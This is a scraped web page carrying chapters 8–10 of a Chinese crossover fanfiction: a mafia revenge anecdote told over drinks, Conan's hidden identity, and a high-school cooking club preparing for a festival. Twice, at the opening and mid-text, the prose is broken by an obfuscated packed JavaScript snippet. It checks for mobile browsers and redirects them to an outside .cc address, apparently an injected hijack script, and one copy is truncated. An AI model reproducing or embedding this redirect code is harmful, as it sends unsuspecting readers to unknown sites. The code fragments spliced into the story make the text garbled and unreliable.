l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413076|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前女士。 而且…… “正是因为备前女士是一个拜金还嚣张的女人,有没有可能如果她知道你家只是小康,你弟弟其实根本不可能达到包养她的条件,她会立刻马上把你弟骂一顿然后另找下家呢?你知道像她这样想飞上枝头做凤凰又有些天赋和本钱的女人是很势利眼的。” “沉迷打游戏然后一不小心把爸爸妈妈银行卡里的钱全变成游戏币的事情现在网上真是随处可见呢。有一部分游戏厂商只是开通了充钱渠道,甚至没有特意宣传,最后都变成戕害青少年的大坏人了。当然也有一刀999那种骗完就跑的。我想后者能更令溺爱的父母忽略孩子主体作用的吧,就像备前女士确实不是值得人尊敬的不讨喜的家伙。” “你到底是嫉恶如仇为民除害的肃清者,是兄友弟恭为弟复仇的长兄,还是仅仅是一怒之下想到自己本来该是这里的主人,却因为弟弟乱花钱失去了一切,连弟弟也没有了的愤怒犯人呢?” 小莳把头缩回伏黑甚尔背后,决定用中午的神话结束聊天。 “无论如何,伊卡洛斯如果是这样的,画家不会为他调制颜料,作家不会为他构思动笔,没有人会讨论他,没有人会记住他,他就坠落在农民劳作的田野咫尺旁,牧羊人畜牧的山丘不远处,最后夕阳西下,大家都回家了。” “我也要回房咯。”有森经理的辩词与理由和他的人生一样可笑,不值一哂。 没说什么“我会检举揭发你!”之类的话,也没有去找警官,小莳走出会议室,转头对伏黑甚尔说,“小兰说今天的星星很亮,要去看吗?” 五分钟后,她心下念叨着,我有故事,我有酒,你有什么登西,制止了伏黑甚尔想要坐在右边的动作。 “你是右撇子,为什么不在左边?”伏黑甚尔把酒放在天台上,在铺好坐垫的地上盘腿看小莳。 “因为甚尔君也是右利手嘛,我是一个懂得谦让的大好人……其实主要是想让你看看我的黄金左脸。今晚我分享欲甚浓,准备给你讲故事呢。你给我倒酒。”小莳这就开始指使伏黑甚尔帮她做事情。 “……”伏黑甚尔乖乖给她倒了一杯。 “我要说的事情,是我一次喝酒。” 小莳浅尝一口,然后开讲。 “有森经理看上去是个不好的人,但是他挺热爱大自然的,所以也没那么不好。可他刚刚说的话实在离谱,让我想起了14岁。” “那你还挺早的。”伏黑甚尔一听这年龄,没忍住开口道。 “那你是什么时候?要说甚尔君不喜欢酒的话,总该是尝试过再不喜欢吧。” “十几岁吧,忘了。”怎么反倒他变成被问问题的人了,真是不靠谱的讲述人。 “诶,不也很早嘛!不过我看甚尔君就是叛逆的人,很符合我对你的印象。”小莳竖起大拇指,“为什么不喜欢喝呢?” 所以说,讲故事。 但伏黑甚尔回答的很快,也很诚实,“身体原因,我喝不醉。”他并不排斥被她问问题了。 他看见小莳举着杯子又嘬饮一口,吞咽,然后放下杯子,抬头看星星。 过了一会才很平淡的说,“那你以前过得不好。” “不抽烟的人其实不太在意尼古丁对身体的种种效用,我就不抽烟,所以我不会在意抽了以后能不能更快乐。” “但你对酒精有所期待。你以前过得不好”小莳目光仍然在星星上,又说了一遍。十几岁的年纪就有想靠酒精麻痹的回忆了哈。还是达不成目的就恼羞成怒的暴脾气! “我不喜欢抽烟的人在我身边,要不你试试电子烟呢?” 然后她善解人意的提出折中建设性建议。 “我去睡觉了。”伏黑甚尔转势就要离开。 速度并不快,他并不认真要走,小莳轻轻勾住他的小拇指,“我知道你很急,但是你别急。” “快说。”她此前没怎么说过自己的事情,伏黑甚尔……说实话,有点好奇。 “瓦利亚,变态很多,好像我没和你说过这些,总之我上家单位就叫这个,里面的同事各个身怀绝技,大部分脑袋都不正常,但是他们对我还颇为照顾。虽然我是一个天赋百年一见,算了,不要太谦虚,千年一见!的大天才,不管是总部还是他们都没让我处理过审讯、暗鲨、卧底、歼灭之类的,涉及到有人要被刀的任务。” 伏黑甚尔没喝酒,没醉,冷静指出。“那你就是什么也不干。”Mafia特殊部队,职能基本全在刚刚被罗列的点里了。 “是你讲故事还是我讲故事。”小莳幽幽看了他一眼,示意他闭嘴,“我才十四岁嘛,而且大家遇到疑难杂症的时候会喊我的,但我只负责清爽干净的先锋工作。后续狼狈的战场,还有一些会被美国电影列为儿童禁止观看的内容,按照国际规定我还是儿童,当然不参与!” 哦,那就是观摩谈判,谈不妥就走。怎么她在Mafia也搞大小姐这一套。真是好命。 伏黑甚尔面无表情,怕自己笑出来。 被保护着也挺好,他转念又想,没有用,至少还有点可爱。 他不说话,小莳也不在意。开口就给伏黑甚尔的沉默续费。 “像我这样能接受同伴好意的小女孩当然不会辜负他们的!” 嗯,在暗鲨部队岁月静好。 “有点小小的无聊。” 哦,身在福中不知福。 “我想喝一杯!”小莳对着月亮痛饮一口,伏黑甚尔旁观,只觉得眼前现下的身影与14岁他未曾谋面的少女逐渐重合。 “我当然是有上网好好做过功课的,啤酒果酒这种没有挑战性的不适合我这样的强者,气泡水兑的更是不用说。我询问了老师,他给我推荐高年份的雪莉酒。我直接30年拉满。”小莳竖起手指,讲的头头是道。 但伏黑甚尔指着她手上的啤酒,开口拆台:“6%的啤酒,经理给我介绍的。我记性不太好,但是几十分钟前的事情,实在忘不掉。” “不理你了,你安静的倾听行不行。滚出去!” 她讲故事真的很蛮差劲的,伏黑甚尔想,酒品也不好。 “我走进酒吧,坐下。然后听见几桌远的地方有青少年在嬉闹。真是不上规矩的酒吧,十六七岁还没到来这里的年纪嘛!” “……”没什么好说的,一百步笑五十步。 “一群男孩在庆祝其中一个当庭释放。” “那天恰好也是他18岁。” “他‘有条件的承担了批评教育’,案件‘缺乏关键证据’,他‘可惜成年了就不那么方便行事’,他只遗憾‘没想到女孩自己跌下去了’,他‘真可惜没有抓住她,本来会是一个美好的夜晚,以后没机会了’。” 说到这的时候,小莳皱起眉头,似乎是在努力回忆。 “大家又笑又闹,真是快活。”她总结。 “你猜怎么着?不仅东亚人喜欢白毛,有的意大利人也喜欢。” “而且你知道吗?意大利是没有死刑的。涉及到一些由来已久的问题,总之这是一群法外的人。” 谁都没有说话。 伏黑甚尔知晓小莳对毛利小五郎的排斥,听到这里便开始怀疑是不是此前……有不好的回忆。 他,拍了拍小莳的肩,帮她倒上一杯。 “……我可是千年一见的天才,甚尔君,你能不能不要一副仿佛我遇害的怜惜神情。” 伏黑甚尔觉得自己也也没露出什么表情。 小莳直接给后面的事情留了白,直接讲到结局。 “后来啊,我把东西送到那个寡母的家门口。” 说到这里,小莳狡黠一笑。 “这里插播一段我们那的小历史吧。100多年以前,西西里岛饱受侵略者的骚扰--大部分来自法国。乱斗,反咬一口,□□,弱势群体被开刀。我们首领,我的义兄,他的曾曾爷爷就生于那年代,保护居民,发展同盟,从自卫队做大做强,但急流勇退,最后退休去日本了。二代继位后把原本的组织发展成了Mafia:据说在他看来,铁与血与金钱,是比保护更有力量的词汇。” 说完这段她又回到14岁的回忆当中,在沉淀的记忆中提取片段。 “你看,其实我大概是个不爱沾染人因果的,但有的人偏爱让自己有限的人生沾满恶业。” “自卫,从外敌手里保护的是同胞。可若是有一天同胞对你做出那样的事,谁来保护你呢?” 她转头看向伏黑甚尔,问他。 伏黑甚尔想,这个问题他也不知道,他小时候也被禅院80啊。 他不知道说什么。没有答案。 不过小莳也没有指望他的回应,她重整思绪便开口: “别人与他大抵无冤无仇,他做出那样的事;法律保护了他,他说‘可惜以后不能再保护我了’。” “经过数代变迁,我们的首领决定家族是不需要铁与血的,我们希望创造一个更有爱,更和平包容的氛围,不要有压迫,不要有战争,不要有眼泪。我其实无所谓,但他如果那样觉得,我也和他一个立场。” “但我也有一个愿望,不要有人越过那条线,把事情弄混淆。”小莳顺着天上的银河划了一条歪歪扭扭的线。 “一个女孩的意外死亡惊扰不到谁,除了她的母亲。” “她看起来是个身体不太好的,当然也可能是以前很好但是一病不起哈。” “我敲门放下东西悄悄藏在旁边看她的时候,本来以为她会被盒子里的东西吓一跳。” “哪知道她就这样空手揪住那个18岁生日的小男孩的头发——理论上来说他已经过了18了,但这不重要,享年18也是18,永远18。总之她拎起那个球,一边哭一边笑。” “我不认识那个女孩,当然也不会就这样为她伤心难过。我是说,作为有着不算好也不算差童年的小女孩,我会同情这样的遭遇,但我并不认识她,所以也没有特意出于‘报仇’的目的做什么事。而且我见到那母亲的最后一眼,是她面色狰狞,不太好看。很难说我当时是什么想法。” “我后来没喝雪莉,大概随便点了一杯,也可能是几杯,记不清了——14岁的小女孩心事重重你应该理解,计划的雪莉被打乱了,我也没看到账单。很快就晕乎了。” “最后啊最后,我在想。死亡对大家都相当公平。Mafia又是很难长寿的职业。管你天才还是凡人。如果有一天我离世,会有母亲为我哭泣吗?” “这很难说,因为我现在已经不在那个世界,而这里的赤司夫人去的很早。”小莳看着高原上满天的星星,她有一点想念泽田奈奈了。 是很好的故事。 以及,虽然对酒精不太了解,但她的样子不像是能一杯又一杯喝烈酒的。 星空下,伏黑甚尔将醉晕过去的少女托在手臂上,拿起她未尽的一杯6%香草啤酒饮下。 9. 第 9 章 很前的时候,提到过这一点. 伏黑甚尔从不思考自己解答不上来的问题,这是他的生活小窍门。 伏黑惠还好吗? 忘记他长什么样,头好痒,再想长脑子了,不想了。 飞出迷楼,什么是迷楼? 不知道,不想。 自由与崇高? 那是理想主义者的胡思乱想。下一个 “会有母亲为我哭泣吗” ……不知道,他也没母亲。 他想:我是伊卡洛斯下坠时的牧羊人,看见水花就看见,夕阳就回家,明天晨起就继续牧羊。 种田的听起来太土了,免了。 但是伏黑甚尔睡不着了。难得失眠。 第二天。 “真是酒不醉人人自醉!”小莳元气满满的吃早饭,和伏黑甚尔分享心得体会。 伏黑甚尔嫌她聒噪。 本来失眠就烦,看她一副精神抖擞的样子更是不愉快。 毛利兰和小莳分享了有森经理居然自首的大新闻,万幸酒店里的其他职工得到了老板的安抚,没有人会失业,只不过不日将空降一名新的经理,顺便酒店也会和城元先生的开发项目合作共赢,打造一个对旅客更友好的度假圣地。 江户川柯南也没想到自己刚侦查出结果,毛利小五郎已经沉睡,一切就绪时,犯案人主动来到现场对一切供认不讳。当晚就被带走。 经过了这一切,众人皆没有了游乐的心思,便都准备收拾行李离开。 临行时,小莳拦住江户川柯南。毛利兰只当小莳想和他告别,叮嘱柯南一会记得过来后,就先上了车。 自从得知江户川柯南的真实身份是工藤新一后,小莳也没完全闲着。通过一些花钱可以解决问题的秘密手段,她买到了一段视频。 是美国芝加哥大学的一场学术报告会。在场一位异常年轻的咖啡色卷发博士生,名牌宫野志保,出现在镜头中不过十几秒。 “你的那个小硕士,是宫野志保吗?没想到她的实际学历居然是博士呢。”小莳用右手挡住嘴唇,在柯南耳边低声说道,“按理说她现在应该在美国的某家上市公司做研究员,和你实在扯不上关系。这是怎么一回事捏?” 一旁伏黑甚尔也颇感兴趣的打量着江户川柯南。 柯南有些忌惮看向他,然后大声用故作可爱的腔调地对小莳说:“你能让伏黑叔叔站远点吗小莳姐姐,我想和姐姐说悄悄话。” 小莳依言支走了伏黑甚尔,对方背过身子停在十步远的地方。她心下肯定,这么远的距离对他而言不过如此,绝对听得见!但是身边的小男孩已经松了一口气的样子。 最终决定看破不说破。 她倚在车头引擎盖上,“愿闻其详。” 然后听江户川柯南讲了一段唯物但离谱的往事。 “因为看见了疑似不法分子,所以在游乐园里抛下同行的暧昧对象前去跟踪,你还真是个正义的伙伴。”这年头思想这么纯粹的人已经快绝版了,难得一见,小莳不免感慨。 “……”说了这么多重点是在这里吗? “所以到目前为止,你的调查行动除了让你多了一个显眼包小伙伴,什么成果也没有对吧。灰原女士,人群中一眼就能看出她的高材生气质,像我一样有心探究的话岂不是答案呼之欲出手到擒来?”小莳越想越觉得这工藤新一不靠谱,“你看,灰原哀就是被米花町超高的破案率和阿笠博士与你的联系吸引来逃难的,结果你不出意外的被赖上了。结果你们强强联合以后,新的组合更是融合了先前的破绽百出,接下来是不是公安FBI都要加入这场play了,我想都不敢想。” 江户川柯南不满地抗议,但不敢声音太大,气势基本没有:“喂,没有你说得这么严重吧。我有好好用小五郎叔叔掩人耳目,灰原她……她也没有那么不像小孩子。”说到最后自己都有些踌躇不定。 “你查案的时候要是也有这份敏锐度,米花町的冤假错案一定少不了。”小莳慢悠悠开口,凉飕飕地讽刺,“隔行如隔山,盼君成功。” 故事很有趣,主角像鬼片里的同款,希望人没事。 “……既然你都知道了,请问有何高见呢?”江户川柯南丧气垂头,经过这两次被赤司同学的降维打击,他不得不承认自己身上可能存在当局者的迷之自信。 小莳随口道,“这很简单,把灰原小姐送到其他地方去。至于你,有困难找警察,在你做高中生的时候应该就和目暮警官很是熟悉了吧。他又是个在公安多年的,即使自己没到能解决大问题的位置,牵头带你认识更大的领导或许没问题?而且你爸是工藤优作,你妈是藤峰有希子,再不济你去问他们也成。” 他想都不想直接拒绝,“你说的这些我以前都考虑过,灰原不可能愿意离开的,我也不放心她一个人在外面,如果她被那个组织抓走……目暮警官是局外人,这种情况下随意把他牵扯进来可能会威胁到他的安全!太冒险了。” 只是多聊了几句,小莳就发现自己和江户川柯南果然话不投机。抱着吐槽的心思,她一条一条反驳,然后锐评。 “第一,宫野志保女士是年满18岁的完全民事能力人,你作为一个认识他不过两个月的人,不必着急替她做决定。第二,什么都放不下心只会害了你,你们散是满天星,聚是不如不聚:一个个长得都和十年以后一模一样,有朝一日同框出镜,直接一锅端。第三,你喜欢的不是你兰姐姐吗?第四,你都和毛利一家住一起了,也三天两头借号上线破案登报曝光一条龙,但是不能把警察牵扯进来,作为平成年代的福尔摩斯,是不是觉得这番说辞有点自相矛盾式的可笑?” “你不会是那种顾前不顾后的男性吧:只能看到眼前似乎需要帮助的人,眼前亟待处理的案件,其他一切都抛之脑后,置之不理,等事后露出马脚才想到要弥补——但是能怎么办呢,最终你大概会将之定义为,情非得已。” 看眼前的小男孩慢慢变了脸色,心情稍好,最后重温了一下上次和柯南告别时的仪式,吓吓孩子。 “事实是,如果是小兰,大概会努力理解你的一切苦衷,因为她真的很喜欢你,但如果是那个琴,那他大概听不完你的遗言。第一眼,你们对视,第二眼,你对着枪口,砰,故事结束。” 他脸色发白。 “我会和灰原再商量的……谢谢你的提醒,赤司。”作为侦探,还是极具实力的顶尖侦探,工藤新一本人自然有敏锐的直觉和出色的侦查力。初次见面可能会被赤司小莳和她绝非善类的助理吓到,但经过了这两天的相处,他已经足够确定,不管在失踪的十年里发生了什么,现在的赤司小莳,无疑只是一个身体素质优异、对周围人没有危害的普通人。或许她还有什么其他身份,但与黑衣组织毫无关系。 只是性格有些古怪,攻击性偶尔有点强罢了……她是出于好意说这些,他也就领情。 本以为他会死鸭子嘴硬的小莳没想到甚至被道谢,她惊讶地看了眼柯南的背影,对方已经转身向毛利家的车走去。于是她呼唤助理。 “甚尔君,准备回去了。” “你似乎不太喜欢那小子?”回去的路上,伏黑甚尔主动闲聊。 “确实很难喜欢第一次见面就自说自话私闯民宅的小鬼。后来看了那么多毛利小五郎破案的报道,很难想象这实际上都是一个在落魄逃亡的人通过麻醉针和变声器做到的。又大胆出风头,又好像很保守,稍微有点看不下去这种自欺欺人的做派。甚尔君你呢?” “我来东京的第一天就拜他所赐成了嫌疑人。”言下之意,很不喜欢。 “是个不讨喜的正派人物。”小莳点点头,下定论。“昨天晚上是你带我回房的么?我不太记得第三杯以后的事情了。” “还能是谁。” “谢谢你,甚尔君。以及,遇到这种问题可以直接回答‘是的’,我只是随便一问,并没有想要伤害你的意图,你不用这么……冷漠。”摸了摸额头,想不到什么词汇可以形容,随便找了个差不多的。 “哦,那你可以早点问。” 确诊了,小莳医师于东京时间15时整确认伏黑甚尔精神失常。 她直接问:“你怎么了?” 得到的答案是,“没事,只是随便告诉你可以早点问,没有别的意思。” 啊对对对。 “你只是天性冷漠,不爱说话。”小莳感觉莫名其妙。 开始聊天的是他,突然拒绝社交的也是他。 好在她是一个宽容的雇主,先玩手机。 路况不太好,颠得头晕,没看一会屏幕小莳就闭目养神了,然后顺理成章的睡着。 伏黑甚尔:…… 小莳回去以后也没主动和伏黑甚尔说话,自顾自下了车回家。 等伏黑甚尔乘电梯上楼以后,小莳已经将卧室房门关上了。 直到晚上她都没有出来。 等他做好晚餐准备去她房门口敲门的时候,公寓门铃率先响了。 开门,是送来拉面的外卖员。 面无表情把包装袋放在餐桌上,伏黑甚尔有一瞬间想过把它直接扔进厨余垃圾。片刻后,他还是敲响房门,将拉面送到点单人手上。 得到了一句轻飘飘的“谢谢,如果有需要的话你也可以点外卖,老规矩,8000。” 对方没有等他的回应就关门了,等反应过来的时候,面前又只是那扇紧闭的门。 伏黑甚尔想,刚刚只要稍微用力,就能抵住门。现在也只要稍微用力,单开门就能整个从门框脱离。 最后他穿着拖鞋回到起居室,沉默吃完了四菜一汤。 晚上八点,伏黑甚尔在主卧门口看见了重新扎上的外卖盒。 就重量看,今晚她胃口很不错。 他听见浴室里传来水声。 伏黑甚尔将东西收拾走了。 第二天,周一。 小莳含泪从被窝里爬出来,穿上校服洗漱完毕走出房门,空气里没有任何味道。 到客厅,看见助理打开报纸,桌面上什么都没有,听见她来也没从报纸里探出头。 据小莳此前的经验,伏黑甚尔根本就没有看报纸的习惯,此情此景,多半是病情不稳导致的。 她出言询问:“今天没有早饭吗?” 伏黑甚尔一动不动,只是说,“没有,我以为你早上也自有打算。” 听了这话小莳没心情再回应,径直走出家门。 去便利店买了饭团和饮料,不出意外的排队。 到学校,不出意外的迟到,结果也没来得及吃饭团,只把饮料掺在水杯里喝了。 “话剧表演?”下课以后,小莳被兴冲冲的园子拉进班级聊天。“突然决定的吗?” “不是!是学园祭哦,从上周就开始准备了呢,不过周四大家才定下来班级出演话剧。那个时候真可惜小莳生病在家了,不然一定也会有你的角色。”园子一脸惋惜,又很快想到其他事情激动起来,“你看见那个海报了吗,是我和美术社的朋友一起设计的!是不是超好看!” “好耶,是学园祭!一切不上学的活动都会让我兴致勃勃。”小莳竖起大拇指,“可以邀请校外的人一起来参加吗?” “当~然~啦~这次你说不定能看到新一呢!我已经千叮咛万嘱咐小兰一定要告诉那家伙校园祭的事情。小莳想要要请谁呀,该不会是……那位身材超好的!助理!” “不是哦,想邀请哥哥来着,园子和征十郎见过吗?助理的话,来的概率不大,他和我哥合不来,这两天精神状态也不是很好,算了吧。” 铃木园子一听赤司征十郎的名字,就拘谨了起来,“其实……相过亲。我那天被母亲要求表现得很得体,但赤司先生貌似一眼就看出了我的本性,在双亲都离开之后还劝我无需拘束,真是很温柔的男人!可惜没有缘分。” 铃木和赤司家居然还有这样的渊源:“居然还有这样的事情,哈哈哈哈哈哈哈。没关系,我会和哥哥乖乖坐在观众席上不乱跑的-如果他愿意来的话w。” 同学们一致决定的剧目是中世纪公主和骑士的凄美爱情故事,毛利兰饰演公主,园子说骑士本应该是工藤新一,只不过失联了,好事的同学们推举了帅哥校医新出先生,虽然他本人还不知情,“但是新出医生是个大好人,他一定会答应为我们的绝美爱情话剧添砖加瓦的。” 当时不在场的小莳被园子一起拉入道具组,主要负责联系服装租赁公司和…付钱。 “东西我都基本都准备好,连新出医生尺码的骑士装都联系完毕。一听说是我要准备学园祭话剧材料,服装店老板亲自给我们管家打电话,周末就办妥了。小莳只要过来陪我走一下验货流程就行啦~对了,对外就说是我们很辛苦的自己联系就行。”园子最后悄咪咪的和小莳传授经验,“这是大小姐成功融入集体生活的秘诀。” 言者好心好意,听者也十分上道:“那我来给杯户酒店打电话,给班里辛苦参演和后勤小组的同学们定下午茶。他们餐厅承接一定数额以上的集体茶歇。这样也算是很好的参加了这次活动!” 发挥自己的长处,多多给同学们花钱,给大家一点小小的福利震撼。 “说到茶歇点心,小莳当时是加入料理社了吧。你们社团这次的展位是什么主题?到时候我和小兰去参观,你可要好好给我们介绍。”园子的网球社和毛利兰的空手道社都没有申请到展位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413077|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,两位运动社团的部长都是卧龙凤雏,学园祭搞擂台赛的活动方案想也知道不会被学生会批准… 据园子描述,结果部长们还一副遭受了重大打击很惊讶的样子!她对结果毫不意外,反而是部长们真情实感哭天喊地的样子更不可思议。 于是园子想去小莳的社团凑热闹。 料理社……也只是帝丹高中一个规模中小的普通社团,社员一共8人,社长是个温柔学姐,老好人的性格,不擅长做饭。副社长是个不爱说话但对做饭很执着的眼镜男,比起做饭更擅长做甜品,但和甜品社新社长关系恶劣,去年高二半道加入料理社。自此以后两个社团就火花不断-主要是甜品社那边的火花。料理社这边的领导者们一个比一个没脾气,副社长不主动不拒绝不回应,社长“嗯嗯嗯,对对对,好好好,您看要怎么办?” 因此火花不断也相安无事。 小莳摸摸鼻子,坦白,“不瞒园子说,我入社到现在也没见过一次社团活动是全体到齐的。” 整个料理社好像只有社长副社长是勤勤恳恳,每天全勤的,小莳主要把它当做回家社。其他几位社员不乏真正喜爱料理的,但高中生活又是学习又是恋爱又是家庭矛盾,纪律不严明的社团在心中的权重还是一退再退。 经过小莳不完全考察,全社最擅长料理的,居然是比起做饭更擅长甜点的副社长。 在园子哀嚎着“不是吧”的背景音中,小莳拿起手机对她说:“不过今天早上社长给我发简讯,请我下午务必要去参加社团活动来着,多半是和学园祭的展位有关。难得见社长有事这么着急,园子如果下午网球社结束早,不妨来我们那看看?” 至于说副社长为什么是个对做饭很执着的人……他的line昵称暴露了一切。 差点上远月:赤司同学,听说你今天身体恢复来上课了,恭喜。下午如果有时间的话请务必来参加社团活动,托社长的福,料理社在下周的学园祭上申请到了一个小吃展位。 差点上远月:社长给你们发过简讯了吗?抱歉,我现在不在学校,重复发消息打扰你了请见谅。 KOMAKI(思乡版):OK,放课后我就去社团。 另一边,公寓里,伏黑甚尔在经过了无所事事又漫长的早上后,有点后悔。 说后悔也不至于,只是他觉得自己没有必要为了雇主自己闹脾气点了外卖这点事在意。 没错,昨天开车不方便说话,回公寓以后对方关了房门自己也就不特意去打扰。反而是赤司小莳,自作主张点了外卖。 她应该提前和他说一声。这样他就不用多做一份晚饭了。 所以今天早上他特意没有开火。也不算特意,是报纸上刊登了有森饭店的案件,其中有些细节比较引人注意,没注意时间多看了一会。 ……也许他应该做比平常更丰盛的晚餐。 伏黑甚尔自从离开禅院家后,就下定决心抛弃一切杂念,摈弃尊严活着了。 后来他遇到很多人,听见各样的声音,善意关切的,讨好利用的,不屑诅咒的…众生芸芸,听来也不过风声流言。 他遇到了第一任妻子,与她度过了很好的两三年,后来她死了,只剩下一个孩子,孩子的名字还是自己起的,叫惠。他想起小莳的评价:“感觉是会在小学被讨厌的同学嘲笑80的名字。” 是啊,男孩子怎么叫惠。只是当时大概自己沉浸于喜悦,取自恩惠之意,孩子妈没反对,孩子本人还在襁褓中没有异议,就这般敲定了。具体不太记得,很久没有想起了。 往事如风,吹拂过,便消散,不值一提又聒噪。不久后,现在还活蹦乱跳的赤司大小姐也会成为记忆中斑驳褪色的一部分。再过段时间,就会被彻底忘却。 不管怎么样,总之伏黑甚尔说服了自己,出门买菜为丰盛的晚饭做准备。 他看见了新鲜的苹果,想起小莳曾夸奖过杯户街的甜品店水果茶格外好喝,秘诀就是加入了苹果片现煮,成品中再加上鲜榨苹果汁,融合了两种风味。 挑了几个苹果。 他看见了水产公司上新的松叶蟹,说是山口县今早才运来的。想起小莳大肆称赞过的杯户酒店松叶蟹三吃,蒸蛋锅炉烤蟹腿,只要有蟹家里完全能做,不难,拿一只。 顺便搭了几个贝壳给汤提鲜。 “不用昆布,家里还有剩余。”婉拒了老太太的好意,伏黑甚尔继续在小商业街挑选食材。 他看见了在冰柜里码放整齐的带骨羊排,没有什么别的意图,只是觉得今天用香料腌制好以后明天正好可以进烤箱,正好试一下子门忍分享“曾经被远月第八席夸奖过”的烤制技巧。挑选了冰柜靠下的一盒。坦然接受店主“这位先生一看就是商业街购物的熟手,知道好的东西都在后面。”的恭维,和赠送的一小块黄油及迷迭香“欢迎下次光临啊。” 他看见了仍然沾着水的蔬菜,虽然不知道为什么中午才进货,不过能买到新鲜的自然更好。不过买菜的时候遇到了一些障碍。 看起来像是女学生被不良纠缠,那女孩黑色短发,从巷子里窜出来转身就要撞到伏黑甚尔身上,他精准的避开了,无事发生。然而学生后面的平头年轻人一下就抓住了减速的女孩衣服,一把揪住,把她向小巷子里拽:“怎么样小小姐,借一步说话。” 伏黑甚尔天天看有人穿同款在自己面前晃荡--这款式,是帝丹高中的。他顺手解决了眼前女孩的小麻烦,伏黑甚尔拒绝了对方红着脸要联系方式的请求,“我还要买菜,你应该回去学校学习。” 女孩解释自己是帝丹高中的学生,为了下周社团的学园祭活动在做准备,并非不务正业,学生会和教务处双重担保的体育免修。“我是甜品社的社长,刚刚定完了需要的东西,本想抄近道……再次感谢先生您的帮助。不知该怎么称呼您呢?” “伏黑。” “伏黑先生想去我们社团看看吗?今天的活动主题是巴斯克芝士——”甜品社社长说到一半才想到眼前高大帅气的男人刚刚就是用买菜为由拒绝了添加联系方式。想来也不可能接受自己的邀约。 “社团在学校里面?那去一下也无妨。”帝丹高中,伏黑甚尔只送过一两次小莳到校门口,进去参观这种事还是一次也没发生过。 能看看雇主日常上学的地方,他并不抗拒。他告诉自己,只不过是好奇使然。 甜品社社长心中激动,这个帅哥居然答应了!好,一鼓作气路上多聊几句,然后趁机要到联系方式,最好能下周邀请伏黑先生来社团咖啡厅坐坐…… “什么!你们只有一个小吃摊,对面关系恶劣的甜品社居然有一整个咖啡厅!小莳这你也能忍?!”狭小空旷的走廊里回荡着铃木园子的声音。 10. 第 10 章 毛利兰捂都捂不住她的嘴,“园子你小声点,这层楼还有其他社团呢。” 小莳撩了一下头发,慢悠悠道:“这也不是咱能决定的,得看学生会审核通过。而且,园子,我是不是没和你说过,因为料理和甜品都是需要厨房设备和煤气的,所以我们实际上社团地址是在一栋楼——更具体,一层楼里。” “也就是说……”小兰双手交叉呈防守状态,身体后仰。 “也就是说……”园子也意识到事情不妙。 “还愣着干什么,推开一扇空着的家政室门快躲进去。甜品社可都是一些三年级的老前辈。”超难缠。 等社团有人出来看情况时,走廊已经空无一人。 社长副社长隔着玻璃就听见了那一声响亮的“小莳”,而甜品社如果没能找到赤司同学本人的麻烦,过会大抵要来这讨个说法了。 隔壁无人的教室里,小莳也想到这一茬,自己先前也与甜品社的一些社员产生过往来……总体不是很顺利,而且KOMAKI这个名字,很遗憾在本学校并没有同名。 她还记得自己是怎么四两拨千斤的随口敷衍了甜品社的社员和副社长,他们二位在社团活动室里干坐了半天,什么也没等到,然后得知料理社的成员集体出去培训了,只留下小莳看家。 她还记得,那次培训就是自己联系四宫小次郎的东京SHINO’S分店,挑了预定比较少的一个周三下午,社团当天参加活动的5人集体出发,小莳只是后来到活动室拿点东西,就被隔壁盯上了。 他们真的很深柜。 “今天下午估计不能安心计划小吃摊了,你们还要来看吗?” “看!是我害得你被盯上了,要是甜品社的前辈们有什么意见…我道歉还不行吗。”园子为自己的莽撞鞠一把眼泪。 小莳宽慰她,“别担心,实在不行我们回家告家长,不信搞不定他们。” 毛利兰:……这是在? 社团活动里偏小莳姗姗来迟,在介绍完接下来可以来帮忙的好友之后,两位社长和社员也都对其迟到表示理解,甜品社已经来过一轮问过情况然后回去做蛋糕了。 今天他们做巴斯克蛋糕,还预备在下周学园祭上菜单,欢迎料理社品尝。 “他们还要做蛋包饭,炸物等能够在咖啡店出售的食物。”一向温和的社长眼泪汪汪求助的看向小莳,“赤司同学,想想办法。” 平常闷头做饭不参与社团事务的副社长,拍桌,“岂有此理,本来学生会干事和他们社长关系很好,节约了很多流程让他们先拿到有利的咖啡店。现在居然还这样!” 小莳恍然大悟,怪不得隔壁十几个人的社团能盘下一般30人规模才能经营的店铺,原来是有人在内部给他们下放捷径。 “对不起,都是我太没用,因为格式不对企划还被打回重写了一次,不然至少会有一个小门面可供选择的。现在只有流动摊位了,东西都要我们自己准备呜呜呜。” 副社长没想到自己的愤愤不平让社长更愧疚,情急之下他也将目光看向白发后辈,“赤司同学,你说点什么。” 小莳只是一介社员,但现在怎么好像一下子就成了团队的中流砥柱了? 她随便想了两句话,轻咳一声,开口:“如果做得不好或者客流量不大的话,以后不免被嘲笑。所以我们今天先统计一下大家擅长的小吃,最后决定几项菜单——当然为了防止隔壁知道我们要做什么然后卑鄙地选择一样的,我不是说他们会有这么无耻,只是防患于未然,最终决定的菜单都要保密,如何?后续有两周时间来特训这些菜肴,让他们在小吃摊这个特殊情境下发挥最大的香气、吸引更多的顾客,然后让排队的客人作为引子再来引起更多游客的好奇。事情总要一步一步做才能起成效,如果在开始之前团队就军心溃散,那后面的难度可想而知,请大家振作起来。” “赤司同学,帮大忙了!”这是感动的热泪盈眶的社长。 “我没有看错你,赤司同学!”这是投来认可目光的忽然热血的副社长。 “赤司同学,太冷静了!”这是社员甲。 “多亏有了赤司同学呜呜呜呜”这是社员乙。 “一下子就想到这么说,小莳好棒!”这是园子和小兰。 其实并不擅长料理的小莳在一声声“赤司同学”中逐渐迷失了自我,一觉起来人类的决策能力突然下降一万倍,一不小心就成社团之光了。 明明只是很简单的发挥比较优势,然后做出更有利的选择而已,本来不熟的同学们的真心夸奖让小莳有点高兴。 突然找回了校园生活的热血感,好!目标是让料理社在学园祭大放异彩! 